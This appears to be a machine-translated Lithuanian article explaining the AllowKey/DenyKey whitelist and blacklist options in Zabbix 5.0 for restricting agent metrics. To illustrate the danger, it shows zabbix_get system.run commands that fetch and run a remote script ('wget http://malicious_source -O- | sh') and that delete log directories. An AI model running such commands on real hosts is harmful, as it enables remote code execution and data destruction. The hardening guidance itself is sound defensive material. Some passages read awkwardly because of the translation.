
Juodojo ir baltojo sąrašo palaikymas agento metrikai
Tikhonas Uskovas, „Zabbix“ integracijos inžinierius
Duomenų saugumo problemos
„Zabbix 5.0“ turi naują funkciją, kuri leidžia pagerinti sistemų saugumą naudojant „Zabbix Agent“ ir pakeičia senąjį parametrą Įgalinti RemoteCommands.
Agentais pagrįstų sistemų saugumo patobulinimai kyla dėl to, kad agentas gali atlikti daugybę potencialiai pavojingų veiksmų.
- Agentas gali rinkti beveik bet kokią informaciją, įskaitant konfidencialią ar potencialiai pavojingą informaciją, iš konfigūracijos failų, žurnalo failų, slaptažodžių failų ar bet kokių kitų failų.
Pavyzdžiui, naudodamiesi programa zabbix_get galite pasiekti vartotojų sąrašą, jų namų katalogus, slaptažodžių failus ir kt.

Prieiga prie duomenų naudojant zabbix_get įrankį
PASTABA. Duomenis galima gauti tik tuo atveju, jei agentas turi atitinkamo failo skaitymo teises. Bet, pavyzdžiui, failas /etc/passwd/ skaityti visiems vartotojams.
- Agentas taip pat gali vykdyti potencialiai pavojingas komandas. Pavyzdžiui, klavišas *system.run[]** leidžia vykdyti bet kokias nuotolines komandas tinklo mazguose, įskaitant scenarijus iš „Zabbix“ žiniatinklio sąsajos, kurie taip pat vykdo komandas agento pusėje.
# zabbix_get -s my.prod.host -k system.run["wget http://malicious_source -O- | sh"]
# zabbix_get -s my.prod.host -k system.run["rm -rf /var/log/applog/"]- „Linux“ sistemoje agentas veikia pagal numatytuosius nustatymus be root teisių, o „Windows“ sistemoje jis veikia kaip paslauga kaip sistema ir turi neribotą prieigą prie failų sistemos. Atitinkamai, jei po įdiegimo nepakeičiami Zabbix Agent parametrai, agentas turi prieigą prie registro, failų sistemos ir gali vykdyti WMI užklausas.
Ankstesnėse versijose parametras EnableRemoteCommands=0 leidžiama tik išjungti metriką naudojant raktą *system.run[]** ir paleisti scenarijus iš žiniatinklio sąsajos, tačiau nebuvo galimybės apriboti prieigos prie atskirų failų, leisti arba išjungti atskirus raktus, kurie buvo įdiegti kartu su agentu, arba apriboti atskirų parametrų naudojimą.

Parametro EnableRemoteCommand naudojimas ankstesnėse Zabbix versijose
AllowKey / DenyKey
„Zabbix 5.0“ padeda apsisaugoti nuo tokios neteisėtos prieigos, pateikdama baltuosius ir juoduosius sąrašus, leidžiančius ir uždrausti metriką agento pusėje.
„Zabbix 5.0“ visi klavišai, įskaitant *system.run[]** yra įgalinti ir buvo pridėtos dvi naujos agento konfigūracijos parinktys:
AllowKey= — leidžiami patikrinimai;
DenyKey = — draudžiami patikrinimai;
kur yra rakto pavadinimo šablonas su parametrais, kuriuose naudojami metasimboliai (*).
Klavišai „AllowKey“ ir „DenyKey“ leidžia leisti arba uždrausti atskiras metrikas pagal konkretų šabloną. Skirtingai nuo kitų konfigūracijos parametrų, AllowKey/DenyKey parametrų skaičius neribojamas. Tai leidžia aiškiai apibrėžti, ką tiksliai agentas gali veikti sistemoje, sukuriant čekių medį – vykdomuosius raktus, kur labai svarbų vaidmenį atlieka jų rašymo tvarka.
Taisyklių seka
Taisyklės tikrinamos tokia tvarka, kokia jos įvedamos į konfigūracijos failą. Raktas tikrinamas pagal taisykles prieš pirmąjį atitikimą, o kai tik duomenų elemento raktas atitinka šabloną, jis yra leidžiamas arba uždraustas. Po to taisyklių tikrinimas sustabdomas, o likę klavišai nepaisomi.
Todėl, jei elementas atitinka ir leisti, ir neleisti taisyklę, rezultatas priklausys nuo to, kuri taisyklė yra pirmoji konfigūracijos faile.

2 skirtingos taisyklės su tuo pačiu modeliu ir raktu vfs.file.size[/tmp/file]
AllowKey / DenyKey klavišų naudojimo tvarka:
- tikslios taisyklės,
- Bendrosios taisyklės,
- draudžiamoji taisyklė.
Pavyzdžiui, jei jums reikia prieigos prie failų tam tikrame aplanke, pirmiausia turite leisti prieiti prie jų, o tada uždrausti visa kita, kas nepatenka į nustatytus leidimus. Jei pirmiausia naudojama draudimo taisyklė, prieiga prie aplanko bus uždrausta.

Teisinga seka
Jei reikia leisti 2 komunalinėms paslaugoms paleisti per *system.run[]** ir pirmiausia bus nurodyta atsisakymo taisyklė, paslaugos nebus paleistos, nes pirmasis šablonas visada atitiks bet kurį raktą, o vėlesnės taisyklės bus ignoruojamos.

Neteisinga seka
Raštai
Pagrindinės taisyklės
Šablonas yra išraiška su pakaitos simboliais. Meta simbolis (*) atitinka bet kokį simbolių skaičių konkrečioje vietoje. Metaženkliai gali būti naudojami ir rakto pavadinime, ir parametruose. Pavyzdžiui, galite griežtai apibrėžti pirmąjį parametrą su tekstu, ir nurodykite paskesnį kaip pakaitos simbolį.
Parametrai turi būti pateikti laužtiniuose skliaustuose [].
system.run[*- neteisingavfs.file*.txt]- neteisingavfs.file.*[*]- teisingai
Pakaitos simbolių naudojimo pavyzdžiai.
- Rakto pavadinime ir parametre. Šiuo atveju raktas neatitinka panašaus rakto, kuriame nėra parametro, nes šablone nurodėme, kad norime gauti tam tikrą rakto pavadinimo pabaigą ir tam tikrą parametrų rinkinį.
- Jei šablone nenaudojami laužtiniai skliaustai, šablonas leidžia visus klavišus, kuriuose nėra parametrų, ir atmeta visus klavišus, kuriuose yra nurodytas parametras.
- Jei raktas parašytas visas, o parametrai nurodyti kaip pakaitos simbolis, jis atitiks bet kurį panašų raktą su bet kokiais parametrais ir neatitiks rakto be laužtinių skliaustų, t. y. jis bus leidžiamas arba uždraustas.

Parametrų pildymo taisyklės.
- Jei ketinama naudoti raktą su parametrais, parametrai turi būti nurodyti konfigūracijos faile. Parametrai turi būti nurodyti kaip metasimbolis. Būtina atidžiai uždrausti prieigą prie bet kurio failo ir atsižvelgti į tai, kokią informaciją metrika gali pateikti skirtingais rašybos būdais - su parametrais ir be jų.

Rašymo klavišų su parametrais ypatybės
- Jei raktas nurodytas su parametrais, bet parametrai yra neprivalomi ir nurodyti kaip metasimbolis, raktas be parametrų bus išspręstas. Pavyzdžiui, jei norite išjungti informacijos apie procesoriaus apkrovą gavimą ir nurodyti, kad reikia išjungti klavišą system.cpu.load[*], nepamirškite, kad raktas be parametrų grąžins vidutinę apkrovos reikšmę.

Parametrų pildymo taisyklės
Pastabos
reguliavimas
- Kai kurių taisyklių vartotojas negali pakeisti, pavyzdžiui, aptikimo taisyklių arba agento automatinės registracijos taisyklių. AllowKey/DenyKey taisyklės neturi įtakos šiems parametrams:
- Pagrindinio kompiuterio pavadinimasItem
- HostMetadataItem
- „HostInterfaceItem“.
PASTABA. Jei administratorius išjungia raktą, kai užklausa, Zabbix nepateikia informacijos apie tai, kodėl metrika ar raktas patenka į kategorijąNEPALAIKOMAS“. Informacija apie draudimus vykdyti nuotolines komandas taip pat nerodoma agento žurnalo failuose. Taip yra dėl saugumo, bet gali apsunkinti derinimą, jei metrika dėl kokios nors priežasties patenka į nepalaikomą kategoriją.
- Jungdami išorinius konfigūracijos failus neturėtumėte pasikliauti jokia konkrečia tvarka (pavyzdžiui, abėcėlės tvarka).
Komandinės eilutės paslaugos
Nustatę taisykles, turite įsitikinti, kad viskas sukonfigūruota teisingai.
Galite naudoti vieną iš trijų parinkčių:
- Pridėkite metriką prie „Zabbix“.
- Išbandyti su zabbix_agentd. Zabbix agentas su pasirinkimu -spausdinti (-p) rodomi visi raktai (kurie leidžiami pagal numatytuosius nustatymus), išskyrus tuos, kurių neleidžia konfigūracija. Ir su galimybe -testas (-t) nes uždraustas raktas grįš 'Nepalaikomas elemento raktas".
- Išbandyti su zabbix_get. Naudingumas zabbix_get su pasirinkimu -k grįš 'ZBX_NOTSUPPORTED: Nežinoma metrika".
Leisti arba atmesti
Galite uždrausti prieigą prie failo ir patikrinti, pavyzdžiui, naudodami programą zabbix_getkad prieiga prie bylos uždrausta.

**
PASTABA. Parametre esančių kabučių nepaisoma.
Tokiu atveju prieiga prie tokio failo gali būti leista kitu keliu. Pvz., jei į jį nukreipia simbolinė nuoroda.

Rekomenduojama patikrinti įvairias nurodytų taisyklių taikymo galimybes, taip pat atsižvelgti ir į draudimų apėjimo galimybes.
Klausimai ir atsakymai
Klausimas. Kodėl taisyklėms, leidimams ir draudimams aprašyti buvo pasirinktas toks sudėtingas modelis su sava kalba? Kodėl nebuvo įmanoma naudoti, pavyzdžiui, įprastų posakių, kuriuos naudoja Zabbix?
Atsakyti. Tai yra reguliaraus reiškinio našumo problema, nes paprastai yra tik vienas agentas ir jis tikrina daugybę metrikų. Regex yra gana sudėtinga operacija ir tokiu būdu negalime patikrinti tūkstančių metrikų. Pakaitos simboliai – universalus, plačiai naudojamas ir paprastas sprendimas.
Klausimas. Ar įtraukimo failai nėra įtraukti abėcėlės tvarka?
Atsakyti. Kiek žinau, praktiškai neįmanoma numatyti, kokia tvarka bus taikomos taisyklės, jei taisykles paskirstysite skirtinguose failuose. Rekomenduoju visas „AllowKey“ / „DenyKey“ taisykles surinkti į vieną įtraukimo failą, nes jos sąveikauja viena su kita ir įtraukti šį failą.
Klausimas. „Zabbix 5.0“ parinktis „EnableRemoteCommands=' trūksta konfigūracijos faile ir yra tik AllowKey/DenyKey?
Atsakymas. taip, teisingai.
Dėkojame už dėmesį!
Šaltinis: www.habr.com
